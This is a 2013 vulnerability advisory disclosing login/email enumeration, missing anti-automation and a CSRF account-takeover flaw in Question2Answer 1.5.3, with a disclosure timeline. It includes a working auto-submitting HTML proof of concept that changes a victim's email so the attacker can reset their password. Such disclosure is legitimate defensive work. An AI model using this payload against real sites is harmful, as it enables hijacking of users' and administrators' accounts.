SecurityvulnsSECURITYVULNS:DOC:29183AoF, IAA and CSRF vulnerabilities in Question2Answer
Hello 3APA3A!
These are Abuse of Functionality, Insufficient Anti-automation and Cross-Site Request Forgery vulnerabilities in Question2Answer. This is the second part of vulnerabilities in this web application.
Affected products:
Vulnerable are all versions of Question2Answer (tested in version 1.5.3).
As developer informed me, in version Q2A 1.6 he's planning to add protection against CSRF (see Timeline). And in January he has added this protection into the last dev-version of Q2A (http://www.question2answer.org/question2answer-dev-latest.zip). So before official release of Q2A 1.6 people can use this dev-version.
Details:
Abuse of Functionality (WASC-42):
http://site/login
http://site/reset
Login/email enumeration is possible (both of them can be used for authentication). If there is no such login/e-mail, then system answers "User not found".
Login/email enumeration is possible (both of them can be used for authentication). If there is such login, then system answers "This username is used". If there is such e-mail, then system answers "This e-mail is used".
Insufficient Anti-automation (WASC-21):
http://site/login
http://site/reset
At these pages there is no protection from automated requests. Which allows to automate Abuse of Functionality attacks.
This is internal page. So for conduct automated abuse of account functionality to enumerate logins or e-mails it's needed to log into account first. As I've wrote in previous advisory, automated login is possible because there is no captcha in login form. So first POST request is going to http://site/login and then multiple POST requests are sending to http://site/account to enumerate logins/e-mails.
Cross-Site Request Forgery (WASC-09):
It's possible to steal user's account (including admin's account) by sending CSRF request to http://site/account. After sending request with this exploit to change e-mail, the attacker needs to recover password to his e-mail through reset function (http://site/reset).
Exploit:
http://websecurity.com.ua/uploads/2013/Question2Answer%20CSRF.html
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/account" method="post">
<input type="hidden" name="handle" value="test">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="messages" value="1">
<input type="hidden" name="mailings" value="1">
<input type="hidden" name="field_1" value="test">
<input type="hidden" name="field_2" value="test">
<input type="hidden" name="field_3" value="test">
<input type="hidden" name="dosaveprofile" value="1">
</form>
</body>
Timeline:
2012.11.29 - announced at my site.
2012.11.30 - informed developer (about the first part of the holes).
2012.12.01 - informed developer (about the second part of the holes).
2012.12 - during December I've spoke with developer about these holes and convinced him to fix CSRF holes.
2013.01.17 - developer informed about plans to add protection against CSRF into Q2A 1.6 (it'll be released in 2013) and that he added it to the last dev-version of Q2A.
2013.03.01 - disclosed at my site (http://websecurity.com.ua/6192/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua